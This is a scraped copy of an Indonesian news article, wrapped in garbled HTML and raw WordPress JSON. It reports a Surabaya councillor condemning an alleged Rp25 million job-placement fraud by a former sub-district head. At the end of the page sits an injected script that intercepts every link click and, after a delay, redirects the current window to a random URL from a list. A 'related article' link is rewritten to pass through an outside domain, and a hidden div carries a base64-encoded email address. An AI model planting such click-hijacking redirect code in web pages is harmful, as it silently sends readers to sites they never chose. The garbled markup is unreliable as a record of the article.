<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1497544,"date":"2026-04-19T16:31:55","date_gmt":"2026-04-19T09:31:55","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1497544"},"modified":"2026-04-19T16:13:35","modified_gmt":"2026-04-19T09:13:35","slug":"dprd-surabaya-kecam-keras-dugaan-penipuan-lowongan-kerja-eks-camat-pakal","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/dprd-surabaya-kecam-keras-dugaan-penipuan-lowongan-kerja-eks-camat-pakal","title":{"rendered":"DPRD Surabaya Kecam Keras Dugaan Penipuan Lowongan Kerja Eks Camat Pakal"},"content":{"rendered":"</p><p><strong>Surabaya (beritajatim.com)&lt;\/strong&gt; \u2013 Ketua Komisi A DPRD Surabaya Yona Bagus Widyatmoko mengecam keras dugaan penipuan bermodus lowongan kerja yang melibatkan mantan Camat Pakal berinisial D. Kasus ini mencuat setelah adanya aduan warga kepada Wakil Wali Kota Surabaya Armuji yang viral di media sosial.&lt;\/p&gt;\n<p>\u201cAtas kejadian ini kita mengimbau dan mewanti-wanti agar setiap ASN dan pejabat publik baik eksekutif maupun legislatif agar tidak menyalahgunakan wewenang jabatan untuk melakukan perbuatan melawan hukum dan merugikan warga dengan aksi tipu-tipu,\u201d tegas Cak Yebe sapaan lekatnya, Minggu (19\/4\/2026).&lt;\/p&gt;\n</p><p>Kasus ini bermula dari pengakuan seorang warga yang mengaku diminta membayar Rp25 juta agar anaknya bisa bekerja sebagai tenaga outsourcing di lingkungan Pemkot Surabaya. Janji tersebut tidak terealisasi hingga berbulan-bulan, sementara uang yang telah diserahkan tidak kembali.&lt;\/p&gt;\n</p><p>\u201cKarena sekalipun yang bersangkutan sudah pensiun (mantan camat pakal) namun kejadian ini dilakukan pada saat dirinya masih menjadi ASN dan menjadi pejabat aktif,\u201d tegas Wakil Ketua DPC Gerindra Surabaya ini.&lt;\/p&gt;\n</p><p>Cak Yebe menilai peristiwa ini berdampak pada citra Pemerintah Kota Surabaya di mata publik. Oleh karena itu, dia meminta agar kejadian serupa tidak terulang dengan memperkuat pengawasan internal terhadap aparatur sipil negara.&lt;\/p&gt;\n</p><p>\u201cCitra pemerintah kota Surabaya tercoreng atas ulah yg sepeeti ini. walikota dan pihak inspektorat harus lebih jeli dalam menempatkan ASN di pos-pos vital,\u201d ujar Cak Yebe.&lt;\/p&gt;\n</p><p>Dia juga menegaskan pentingnya integritas sebagai syarat utama dalam penempatan jabatan strategis. Menurut dia, transparansi melalui pelaporan harta kekayaan menjadi bagian penting dalam menjaga akuntabilitas pejabat publik.&lt;\/p&gt;\n</p><p>\u201cFaktor integritas harus ditempatkan sebagai aspek prioritas dan LHKPN calon camat bahkan lurah adalah hal mutlak yang harus dilaporkan,\u201d katanya.&lt;\/p&gt;\n</p><p><strong><div style='\"clear:both;' margin-top:0em margin-bottom:1em><a href="https://bloso.top/news/info-https-%5C%22https:%5C/%5C/beritajatim.com%5C/tangis-ibu-pecah-di-hadapan-wawali-surabaya-ngaku-ditipu-rp25-juta-oleh-mantan-camat%5C%22" target='\"_self\"' rel='\"dofollow\"' class='\"u361137d3de3555c1a4df7c2ea2a5575d\"'><style> .u361137d3de3555c1a4df7c2ea2a5575d { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .u361137d3de3555c1a4df7c2ea2a5575d:active, .u361137d3de3555c1a4df7c2ea2a5575d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u361137d3de3555c1a4df7c2ea2a5575d { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u361137d3de3555c1a4df7c2ea2a5575d .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .u361137d3de3555c1a4df7c2ea2a5575d .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .u361137d3de3555c1a4df7c2ea2a5575d:hover .postTitle { text-decoration: underline!important; } <\/style><div style=\"padding-left:1em; padding-right:1em;\"><span class=\"ctaText\">Baca Juga:<\/span>&nbsp; <span class=\"postTitle\">Tangis Ibu Pecah di Hadapan Wawali Surabaya, Ngaku Ditipu Rp25 Juta oleh Mantan Camat<\/span><\/div><\/a><\/div><\/strong><\/p>\n<p>Lebih lanjut, Cak Yebe menyampaikan bahwa proses hukum tetap perlu dilakukan meski tidak selalu mampu mengembalikan kerugian korban secara penuh. Menurut dia, langkah tersebut penting untuk memberikan efek jera dan menjadi pembelajaran bagi seluruh ASN.<\/p>\n<p>\u201cSekalipun proses hukum berpotensi tidak akan mengembalikan sepenuhnya kerugian materiil korban. Namun setidaknya hal ini perlu dilakukan agar timbul efek jera dan pembelajaran bagi setiap pejabat publik maupun ASN di kota Surabaya agar berhenti dan tidak melakukan perbuatan yang merugikan warga dan negara serta mencoreng citra pemerintah kota dan korp Pegawai Negeri,\u201d pungkasnya.<\/p>\n<p>Sebelumnya, Wakil Wali Kota Surabaya Armuji menerima langsung aduan warga terkait dugaan penipuan tersebut. Dalam video yang beredar, korban mengaku menyerahkan uang kepada oknum pejabat dengan harapan mendapatkan pekerjaan, namun hingga kini janji tersebut tidak terealisasi<strong>.[asg\/aje]<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Surabaya (beritajatim.com) \u2013 Ketua Komisi A DPRD Surabaya Yona Bagus Widyatmoko mengecam keras dugaan penipuan bermodus lowongan kerja yang melibatkan mantan Camat Pakal berinisial D. Kasus ini mencuat setelah adanya aduan warga kepada Wakil Wali Kota Surabaya Armuji yang viral di media sosial. \u201cAtas kejadian ini kita mengimbau dan mewanti-wanti agar setiap ASN dan pejabat<\/p>\n","protected":false},"author":44,"featured_media":1415433,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[5],"tags":[14483],"gn_keywords":[415928,49090,156203,55313,330383],"class_list":["post-1497544","post","type-post","status-publish","format-standard","has-post-thumbnail","category-politik-pemerintahan","tag-lowongan-kerja"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1497544","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1497544"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1497544\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1415433"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1497544"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1497544"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1497544"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1497544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</style></a></div></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
